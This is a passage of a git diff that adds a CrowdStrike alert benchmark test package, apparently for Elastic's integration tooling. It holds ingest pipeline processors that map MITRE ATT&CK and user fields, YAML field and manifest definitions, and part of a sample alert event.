foreach_crowdstrike_alert_mitre_attack_c9b5d563 + field: crowdstrike.alert.mitre_attack + if: ctx.crowdstrike?.alert?.mitre_attack instanceof List + processor: + append: + field: threat.technique.name + tag: append_threat_technique_name + value: '{{{_ingest._value.technique}}}' + allow_duplicates: false + - foreach: + tag: foreach_crowdstrike_alert_mitre_attack_6a5df41b + field: crowdstrike.alert.mitre_attack + if: ctx.crowdstrike?.alert?.mitre_attack instanceof List + processor: + append: + field: threat.technique.id + tag: append_threat_technique_id + value: '{{{_ingest._value.technique_id}}}' + allow_duplicates: false + - foreach: + tag: foreach_crowdstrike_alert_mitre_attack_5448da51 + field: crowdstrike.alert.mitre_attack + if: ctx.crowdstrike?.alert?.mitre_attack instanceof List + processor: + convert: + field: _ingest._value.pattern_id + tag: convert_mitre_attack_pattern_id_to_string + type: string + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.pattern_id + tag: remove_ingest_value_pattern_id + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + description: Set threat.framework from threat.* fields using prefix matching and preference order. + lang: painless + tag: script_threat_framework + if: ctx.threat != null + params: + framework_preference: + - MITRE ATT&CK + - CrowdStrike Falcon Detections Framework + framework_cs: 'CrowdStrike Falcon Detections Framework' + framework_ma: 'MITRE ATT&CK' + falcon_tactic_names: + - malware + - exploit + - post-exploit + - machine learning + - custom intelligence + - falcon overwatch + - falcon intel + - ai powered ioa + - insecure security posture + source: | + def tid = ctx.threat.tactic?.id; + def nid = ctx.threat.technique?.id; + def tname = ctx.threat.tactic?.name; + if ((tid == null || tid.isEmpty()) && (nid == null || nid.isEmpty()) && (tname == null || tname.isEmpty())) { + return; + } + Set frameworks = new HashSet(); + // Handling tactics prefixed with "CS" or "TA". + if (tid != null && !tid.isEmpty()) { + for (String t: tid) { + if (t.startsWith("CS")) { + frameworks.add(params.framework_cs); + } + else if (t.startsWith("TA")) { + frameworks.add(params.framework_ma); + } + } + } + // Handling techniques prefixed with "CS". + if (nid != null && !nid.isEmpty()) { + for (String t: nid) { + if (t.startsWith("CS")) { + frameworks.add(params.framework_cs); + } + } + } + // Handling falcon specific tactics. + if (tname != null && !tname.isEmpty()) { + for (String t: tname) { + if (params.falcon_tactic_names.contains(t.toLowerCase())) { + frameworks.add(params.framework_cs); + } + } + } + if (frameworks.isEmpty()) { + return; + } + if (frameworks.size() == 1) { + ctx.threat.framework = frameworks.iterator().next(); + return; + } + + for (def preferred : params.framework_preference) { + if (frameworks.contains(preferred)) { + ctx.threat.framework = preferred; + return; + } + } + + // fallback when new frameworks are added and not yet in preference list + ctx.threat.framework = frameworks.iterator().next(); + on_failure: + - append: + tag: append_error_message_f73582d4 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.template_instance_id + tag: rename_template_instance_id + target_field: crowdstrike.alert.template_instance_id + ignore_missing: true + - date: + field: json.timestamp + tag: date_timestamp + target_field: crowdstrike.alert.timestamp + formats: + - ISO8601 + if: ctx.json?.timestamp != null && ctx.json.timestamp != '' + on_failure: + - append: + tag: append_error_message_2e6fef78 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: '@timestamp' + tag: set_@timestamp_from_alert_timestamp + copy_from: crowdstrike.alert.timestamp + ignore_empty_value: true + - rename: + field: json.tree_id + tag: rename_tree_id + target_field: crowdstrike.alert.tree_id + ignore_missing: true + - rename: + field: json.tree_root + tag: rename_tree_root + target_field: crowdstrike.alert.tree_root + ignore_missing: true + - rename: + field: json.triggering_process_graph_id + tag: rename_triggering_process_graph_id + target_field: crowdstrike.alert.triggering_process_graph_id + ignore_missing: true + - rename: + field: json.type + tag: rename_type + target_field: crowdstrike.alert.type + ignore_missing: true + - rename: + field: json.rule_group_id + tag: rename_rule_group_id + target_field: crowdstrike.alert.rule_group_id + ignore_missing: true + - rename: + field: json.rule_group_name + tag: rename_rule_group_name + target_field: crowdstrike.alert.rule_group_name + ignore_missing: true + - rename: + field: json.rule_instance_created_by + tag: rename_rule_instance_created_by + target_field: crowdstrike.alert.rule_instance_created_by + ignore_missing: true + - rename: + field: json.rule_instance_id + tag: rename_rule_instance_id + target_field: crowdstrike.alert.rule_instance_id + ignore_missing: true + - rename: + field: json.rule_instance_name + tag: rename_rule_instance_name + target_field: crowdstrike.alert.rule_instance_name + ignore_missing: true + - rename: + field: json.rule_instance_version + tag: rename_rule_instance_version + target_field: crowdstrike.alert.rule_instance_version + ignore_missing: true + - rename: + field: json.overwatch_note + tag: rename_overwatch_note + target_field: crowdstrike.alert.overwatch_note + ignore_missing: true + - date: + field: json.overwatch_note_timestamp + tag: date_overwatch_note_timestamp + target_field: crowdstrike.alert.overwatch_note_timestamp + formats: + - ISO8601 + if: ctx.json?.overwatch_note_timestamp != null && ctx.json.updated_timestamp != '' + ignore_failure: true + - date: + field: json.updated_timestamp + tag: date_updated_timestamp + target_field: crowdstrike.alert.updated_timestamp + formats: + - ISO8601 + if: ctx.json?.updated_timestamp != null && ctx.json.updated_timestamp != '' + on_failure: + - append: + tag: append_error_message_d375f9f0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.user_id + tag: rename_user_id + target_field: crowdstrike.alert.user_id + ignore_missing: true + - set: + field: user.id + tag: set_user_id_from_alert_user_id + copy_from: crowdstrike.alert.user_id + ignore_empty_value: true + - rename: + field: json.user_name + tag: rename_user_name + target_field: crowdstrike.alert.user_name + ignore_missing: true + - set: + field: user.name + tag: set_user_name_from_alert_user_name + copy_from: crowdstrike.alert.user_name + ignore_empty_value: true + - append: + field: related.user + tag: append_user_id_into_related_user + value: '{{{user.id}}}' + allow_duplicates: false + if: ctx.user?.id != null + - append: + field: related.user + tag: append_user_name_into_related_user + value: '{{{user.name}}}' + allow_duplicates: false + if: ctx.user?.name != null + - rename: + field: json.user_principal + tag: rename_user_principal + target_field: crowdstrike.alert.user_principal + ignore_missing: true + - append: + field: related.user + tag: append_crowdstrike_alert_user_principal_into_related_user + value: '{{{crowdstrike.alert.user_principal}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.user_principal != null + + - grok: + tag: grok_crowdstrike_alert_name_590f0399 + field: crowdstrike.alert.name + patterns: + - "%{NOTSPACE:_username_from_name} on %{NOTSPACE:_hostname_from_name}" + ignore_missing: true + ignore_failure: true + - set: + tag: set_user_name_10fa09f0 + field: user.name + copy_from: _username_from_name + if: ctx.user?.name == null || ctx.user.name == '' + ignore_empty_value: true + - append: + tag: append_related_user_6909493b + field: related.user + value: '{{{_username_from_name}}}' + allow_duplicates: false + if: ctx._username_from_name != null && ctx._username_from_name != '' + - set: + tag: set_host_name_bfa41cba + field: host.name + copy_from: _hostname_from_name + if: ctx.host?.name == null || ctx.host.name == '' + ignore_empty_value: true + - append: + tag: append_related_hosts_841139de + field: related.hosts + value: '{{{_hostname_from_name}}}' + allow_duplicates: false + if: ctx._hostname_from_name != null && ctx._hostname_from_name != '' + - remove: + tag: remove_20d23887 + field: + - _username_from_name + - _hostname_from_name + ignore_missing: true + + - fingerprint: + tag: fingerprint_b7759f38 + fields: + - event.id + - crowdstrike.alert.cid + - crowdstrike.alert.indicator_id + - crowdstrike.alert.updated_timestamp + target_field: _id + ignore_missing: true + - remove: + field: + - crowdstrike.alert.agent_id + - crowdstrike.alert.command_line + - crowdstrike.alert.description + - crowdstrike.alert.device.device_id + - crowdstrike.alert.device.external_ip + - crowdstrike.alert.device.hostinfo.domain + - crowdstrike.alert.device.hostname + - crowdstrike.alert.device.local_ip + - crowdstrike.alert.device.mac_address + - crowdstrike.alert.device.os_version + - crowdstrike.alert.device.platform_name + - crowdstrike.alert.device.system_manufacturer + - crowdstrike.alert.device.system_product_name + - crowdstrike.alert.device.tags + - crowdstrike.alert.end_time + - crowdstrike.alert.filename + - crowdstrike.alert.filepath + - crowdstrike.alert.host_name + - crowdstrike.alert.host_type + - crowdstrike.alert.id + - crowdstrike.alert.idp_policy_rule.id + - crowdstrike.alert.idp_policy_rule.name + - crowdstrike.alert.image_file_name + - crowdstrike.alert.location_country_code + - crowdstrike.alert.md5 + - crowdstrike.alert.operating_system + - crowdstrike.alert.os_name + - crowdstrike.alert.parent_details.cmdline + - crowdstrike.alert.parent_details.filename + - crowdstrike.alert.parent_details.filepath + - crowdstrike.alert.parent_details.md5 + - crowdstrike.alert.parent_details.sha256 + - crowdstrike.alert.parent_details.user_id + - crowdstrike.alert.parent_details.user_name + - crowdstrike.alert.parent_process_id + - crowdstrike.alert.process_end_time + - crowdstrike.alert.process_id + - crowdstrike.alert.process_start_time + - crowdstrike.alert.severity + - crowdstrike.alert.sha1 + - crowdstrike.alert.sha256 + - crowdstrike.alert.source.account_azure_id + - crowdstrike.alert.source.account_domain + - crowdstrike.alert.source.account_name + - crowdstrike.alert.source.endpoint_host_name + - crowdstrike.alert.source.endpoint_ip_address + - crowdstrike.alert.start_time + - crowdstrike.alert.tactic + - crowdstrike.alert.tags + - crowdstrike.alert.target.account_name + - crowdstrike.alert.target.domain_controller_host_name + - crowdstrike.alert.target.endpoint_host_name + - crowdstrike.alert.technique + - crowdstrike.alert.timestamp + - crowdstrike.alert.user_id + - crowdstrike.alert.user_name + tag: remove_custom_duplicate_fields + ignore_missing: true + if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')) + - remove: + field: json + tag: remove_json + ignore_missing: true + - script: + lang: painless + description: Drops null/empty values recursively. + tag: painless_remove_null + source: |- + boolean drop(Object object) { + if (object == null || object == '') { + return true; + } else if (object instanceof Map) { + ((Map) object).values().removeIf(v -> drop(v)); + return (((Map) object).size() == 0); + } else if (object instanceof List) { + ((List) object).removeIf(v -> drop(v)); + return (((List) object).length == 0); + } + return false; + } + drop(ctx); + - set: + field: event.kind + tag: set_pipeline_error_to_event_kind_processor + value: pipeline_error + if: ctx.error?.message != null + - append: + tag: append_tags_9fe66b2c + field: tags + value: preserve_original_event + allow_duplicates: false + if: ctx.error?.message != null +on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.kind + tag: set_pipeline_error_to_event_kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml new file mode 100644 index 0000000000..a93aca0ee9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml @@ -0,0 +1,20 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module. + value: crowdstrike +- name: event.dataset + type: constant_keyword + description: Event dataset. + value: crowdstrike.alert +- name: '@timestamp' + type: date + description: Event timestamp. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml new file mode 100644 index 0000000000..4084f1dc7f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml @@ -0,0 +1,6 @@ +- name: input.type + type: keyword + description: Type of filebeat input. +- name: log.offset + type: long + description: Log offset. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml new file mode 100644 index 0000000000..bdc73a9cb9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml @@ -0,0 +1,9 @@ +# Remove this file when kibana.version satisfied ^8.14. +- name: threat.tactic.id + external: ecs +- name: threat.technique.id + external: ecs +- name: threat.framework + external: ecs +- name: tags + external: ecs diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml new file mode 100644 index 0000000000..d499a73dda --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml @@ -0,0 +1,633 @@ +- name: crowdstrike + type: group + fields: + - name: alert + type: group + fields: + - name: active_directory_authentication_method + type: long + - name: activity + type: group + fields: + - name: browser + type: keyword + - name: device + type: keyword + - name: id + type: keyword + - name: os + type: keyword + - name: agent_id + type: keyword + - name: agent_scan_id + type: keyword + - name: aggregate_id + type: keyword + - name: alert_attributes + type: long + - name: alleged_filetype + type: keyword + - name: assigned_to + type: group + fields: + - name: name + type: keyword + - name: uid + type: keyword + - name: uuid + type: keyword + - name: associated_files + type: group + fields: + - name: filepath + type: keyword + - name: sha256 + type: keyword + - name: child_process_ids + type: keyword + - name: cid + type: keyword + - name: cloud_indicator + type: boolean + - name: cmdline + type: keyword + - name: command_line + type: keyword + - name: comment + type: keyword + - name: composite_id + type: keyword + - name: confidence + type: long + - name: context_timestamp + type: date + - name: control_graph_id + type: keyword + - name: crawl_edge_ids + type: group + fields: + - name: Sensor + type: keyword + - name: crawl_vertex_ids + type: group + fields: + - name: Sensor + type: keyword + - name: crawled_timestamp + type: date + - name: created_timestamp + type: date + - name: data_domains + type: keyword + - name: description + type: keyword + - name: detect_type + type: keyword + - name: device + type: group + fields: + - name: agent_load_flags + type: long + - name: agent_local_time + type: date + - name: agent_version + type: keyword + - name: bios_manufacturer + type: keyword + - name: bios_version + type: keyword + - name: cid + type: keyword + - name: config_id_base + type: keyword + - name: config_id_build + type: keyword + - name: config_id_platform + type: long + - name: external_ip + type: ip + - name: first_seen + type: date + - name: groups + type: keyword + - name: hostinfo + type: group + fields: + - name: active_directory_dn_display + type: keyword + - name: domain + type: keyword + - name: hostname + type: keyword + - name: id + type: keyword + - name: last_seen + type: date + - name: local_ip + type: ip + - name: mac_address + type: keyword + - name: machine_domain + type: keyword + - name: major_version + type: keyword + - name: minor_version + type: keyword + - name: modified_timestamp + type: date + - name: os_version + type: keyword + - name: ou + type: keyword + - name: platform_id + type: keyword + - name: platform_name + type: keyword + - name: pod_labels + type: keyword + - name: product_type + type: keyword + - name: product_type_desc + type: keyword + - name: site_name + type: keyword + - name: status + type: keyword + - name: system_manufacturer + type: keyword + - name: system_product_name + type: keyword + - name: tags + type: keyword + - name: display_name + type: keyword + - name: documents_accessed + type: group + fields: + - name: filename + type: keyword + - name: filepath + type: keyword + - name: timestamp + type: date + - name: email_sent + type: boolean + - name: end_time + type: date + - name: event_id + type: keyword + - name: executables_written + type: group + fields: + - name: filename + type: keyword + - name: filepath + type: keyword + - name: timestamp + type: date + - name: falcon_host_link + type: keyword + - name: file_writes + type: group + fields: + - name: name + type: keyword + - name: sha256 + type: keyword + - name: filename + type: keyword + - name: filepath + type: keyword + - name: files_accessed + type: group + fields: + - name: filename + type: keyword + - name: filepath + type: keyword + - name: timestamp + type: date + - name: files_written + type: group + fields: + - name: filename + type: keyword + - name: filepath + type: keyword + - name: timestamp + type: date + - name: global_prevalence + type: keyword + - name: grandparent_details + type: group + fields: + - name: cmdline + type: keyword + - name: filename + type: keyword + - name: filepath + type: keyword + - name: local_process_id + type: keyword + - name: md5 + type: keyword + - name: process_graph_id + type: keyword + - name: process_id + type: keyword + - name: sha256 + type: keyword + - name: timestamp + type: date + - name: user_graph_id + type: keyword + - name: user_id + type: keyword + - name: user_name + type: keyword + - name: has_script_or_module_ioc + type: boolean + - name: host_name + type: keyword + - name: host_type + type: keyword + - name: id + type: keyword + - name: idp_policy + type: group + fields: + - name: enforced_externally + type: long + - name: mfa_factor_type + type: long + - name: mfa_provider + type: long + - name: rule_action + type: long + - name: rule_trigger + type: long + - name: rule_id + type: keyword + - name: rule_name + type: keyword + - name: image_file_name + type: keyword + - name: incident + type: group + fields: + - name: created + type: date + - name: end + type: date + - name: id + type: keyword + - name: score + type: double + - name: start + type: date + - name: indicator_id + type: keyword + - name: ioc_context + type: group + fields: + - name: cmdline + type: keyword + - name: ioc_description + type: keyword + - name: ioc_source + type: keyword + - name: ioc_type + type: keyword + - name: ioc_value + type: keyword + - name: md5 + type: keyword + - name: sha256 + type: keyword + - name: type + type: keyword + - name: ioc_description + type: keyword + - name: ioc_source + type: keyword + - name: ioc_type + type: keyword + - name: ioc_value + type: keyword + - name: ioc_values + type: keyword + - name: is_synthetic_quarantine_disposition + type: boolean + - name: ldap_search_query_attack + type: long + - name: local_prevalence + type: keyword + - name: local_process_id + type: keyword + - name: location_country_code + type: keyword + - name: location_latitude_as_int + type: long + - name: location_longitude_as_int + type: long + - name: logon_domain + type: keyword + - name: md5 + type: keyword + - name: mitre_attack + type: group + fields: + - name: pattern_id + type: keyword + - name: tactic + type: keyword + - name: tactic_id + type: keyword + - name: technique + type: keyword + - name: technique_id + type: keyword + - name: model_anomaly_indicators + type: keyword + - name: name + type: keyword + - name: network_accesses + type: group + fields: + - name: access_timestamp + type: date + - name: access_type + type: long + - name: connection_direction + type: keyword + - name: isIPV6 + type: boolean + - name: local_address + type: ip + - name: local_port + type: long + - name: protocol + type: keyword + - name: remote_address + type: ip + - name: remote_port + type: long + - name: objective + type: keyword + - name: operating_system + type: keyword + - name: os_name + type: keyword + - name: overwatch_note + type: keyword + - name: overwatch_note_timestamp + type: date + - name: parent_details + type: group + fields: + - name: cmdline + type: keyword + - name: filename + type: keyword + - name: filepath + type: keyword + - name: local_process_id + type: keyword + - name: md5 + type: keyword + - name: process_graph_id + type: keyword + - name: process_id + type: keyword + - name: sha256 + type: keyword + - name: timestamp + type: date + - name: user_graph_id + type: keyword + - name: user_id + type: keyword + - name: user_name + type: keyword + - name: parent_process_id + type: keyword + - name: pattern_disposition + type: long + - name: pattern_disposition_description + type: keyword + - name: pattern_disposition_details + type: group + fields: + - name: blocking_unsupported_or_disabled + type: boolean + - name: bootup_safeguard_enabled + type: boolean + - name: containment_file_system + type: boolean + - name: critical_process_disabled + type: boolean + - name: detect + type: boolean + - name: fs_operation_blocked + type: boolean + - name: handle_operation_downgraded + type: boolean + - name: inddet_mask + type: boolean + - name: indicator + type: boolean + - name: kill_action_failed + type: boolean + - name: kill_parent + type: boolean + - name: kill_process + type: boolean + - name: kill_subprocess + type: boolean + - name: mfa_required + type: boolean + - name: operation_blocked + type: boolean + - name: policy_disabled + type: boolean + - name: prevention_provisioning_enabled + type: boolean + - name: process_blocked + type: boolean + - name: quarantine_file + type: boolean + - name: quarantine_machine + type: boolean + - name: registry_operation_blocked + type: boolean + - name: response_action_already_applied + type: boolean + - name: response_action_failed + type: boolean + - name: response_action_triggered + type: boolean + - name: rooting + type: boolean + - name: sensor_only + type: boolean + - name: suspend_parent + type: boolean + - name: suspend_process + type: boolean + - name: pattern_id + type: keyword + - name: platform + type: keyword + - name: poly_id + type: keyword + - name: prevented + type: boolean + - name: process_end_time + type: date + - name: process_id + type: keyword + - name: process_start_time + type: date + - name: product + type: keyword + - name: protocol_anomaly_classification + type: long + - name: quarantined + type: boolean + - name: quarantined_files + type: group + fields: + - name: filename + type: keyword + - name: id + type: keyword + - name: sha256 + type: keyword + - name: state + type: keyword + - name: rule_group_id + type: keyword + - name: rule_group_name + type: keyword + - name: rule_instance_created_by + type: keyword + - name: rule_instance_id + type: keyword + - name: rule_instance_name + type: keyword + - name: rule_instance_version + type: keyword + - name: scan_id + type: keyword + - name: scenario + type: keyword + - name: seconds_to_resolved + type: long + - name: seconds_to_triaged + type: long + - name: severity + type: long + - name: severity_name + type: keyword + - name: sha1 + type: keyword + - name: sha256 + type: keyword + - name: show_in_ui + type: boolean + - name: source + type: group + fields: + - name: account_azure_id + type: keyword + - name: account_domain + type: keyword + - name: account_name + type: keyword + - name: account_object_guid + type: keyword + - name: account_object_sid + type: keyword + - name: account_sam_account_name + type: keyword + - name: account_upn + type: keyword + - name: endpoint_account_object_guid + type: keyword + - name: endpoint_account_object_sid + type: keyword + - name: endpoint_address_ip4 + type: ip + - name: endpoint_host_name + type: keyword + - name: endpoint_ip_address + type: ip + - name: endpoint_ip_reputation + type: long + - name: endpoint_sensor_id + type: keyword + - name: ip_isp_classification + type: long + - name: ip_isp_domain + type: keyword + - name: source_products + type: keyword + - name: source_vendors + type: keyword + - name: start_time + type: date + - name: status + type: keyword + - name: tactic + type: keyword + - name: tactic_id + type: keyword + - name: tags + type: keyword + - name: target + type: group + fields: + - name: account_name + type: keyword + - name: domain_controller_host_name + type: keyword + - name: domain_controller_object_guid + type: keyword + - name: domain_controller_object_sid + type: keyword + - name: endpoint_account_object_guid + type: keyword + - name: endpoint_account_object_sid + type: keyword + - name: endpoint_host_name + type: keyword + - name: endpoint_sensor_id + type: keyword + - name: service_access_identifier + type: keyword + - name: technique + type: keyword + - name: technique_id + type: keyword + - name: template_instance_id + type: keyword + - name: timestamp + type: date + - name: tree_id + type: keyword + - name: tree_root + type: keyword + - name: triggering_process_graph_id + type: keyword + - name: type + type: keyword + - name: updated_timestamp + type: date + - name: user_id + type: keyword + - name: user_name + type: keyword + - name: user_principal + type: keyword + - name: worker_node_name + type: keyword diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml new file mode 100644 index 0000000000..4e3c744edc --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml @@ -0,0 +1,94 @@ +title: Collect alerts from CrowdStrike. +type: logs +streams: + - input: cel + title: Alerts + description: Collect unified alerts from CrowdStrike Falcon. + enabled: false + template_path: cel.yml.hbs + vars: + - name: initial_interval + type: text + title: Initial Interval + description: How far back to pull the Alert logs from CrowdStrike. Supported units for this parameter are h/m/s. + multi: false + required: true + show_user: true + default: 24h + - name: interval + type: text + title: Interval + description: Duration between requests to the CrowdStrike API. By default, differential data is pulled once per day. Supported units for this parameter are h/m/s. + default: 24h + multi: false + required: true + show_user: true + - name: batch_size + type: integer + title: Batch Size + description: Batch size for the response of the CrowdStrike API. It must be between 1 - 1000. + default: 1000 + multi: false + required: true + show_user: false + - name: http_client_timeout + type: text + title: HTTP Client Timeout + description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. + multi: false + required: true + show_user: false + default: 30s + - name: query + type: text + title: FQL Query + description: This is an additional FQL query that can be included in requests to the API. You should not include any reference to the `timestamp` property. See the [FalconPy documentation](https://www.falconpy.io/Usage/Falcon-Query-Language.html) for details. + multi: false + required: false + show_user: false + - name: enable_request_tracer + type: bool + title: Enable request tracing + default: false + multi: false + required: false + show_user: false + description: >- + The request tracer logs requests and responses to the agent's local file-system for debugging configurations. + Enabling this request tracing compromises security and should only be used for debugging. Disabling the request + tracer will delete any stored traces. + See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_enable) + for details. + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - crowdstrike-alert + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original`. + type: bool + multi: false + default: false + - name: preserve_duplicate_custom_fields + required: true + show_user: false + title: Preserve duplicate custom fields + description: Preserve crowdstrike.alert fields that were copied to Elastic Common Schema (ECS) fields. + type: bool + multi: false + default: false + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: >- + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json new file mode 100644 index 0000000000..680f31dc1f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json @@ -0,0 +1,364 @@ +{ + "@timestamp": "2023-11-03T18:00:22.328Z", + "agent": { + "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530", + "id": "d541c008-3558-403d-9392-4faa6d42fcb4", + "name": "elastic-agent-43429", + "type": "filebeat", + "version": "8.18.0" + }, + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + 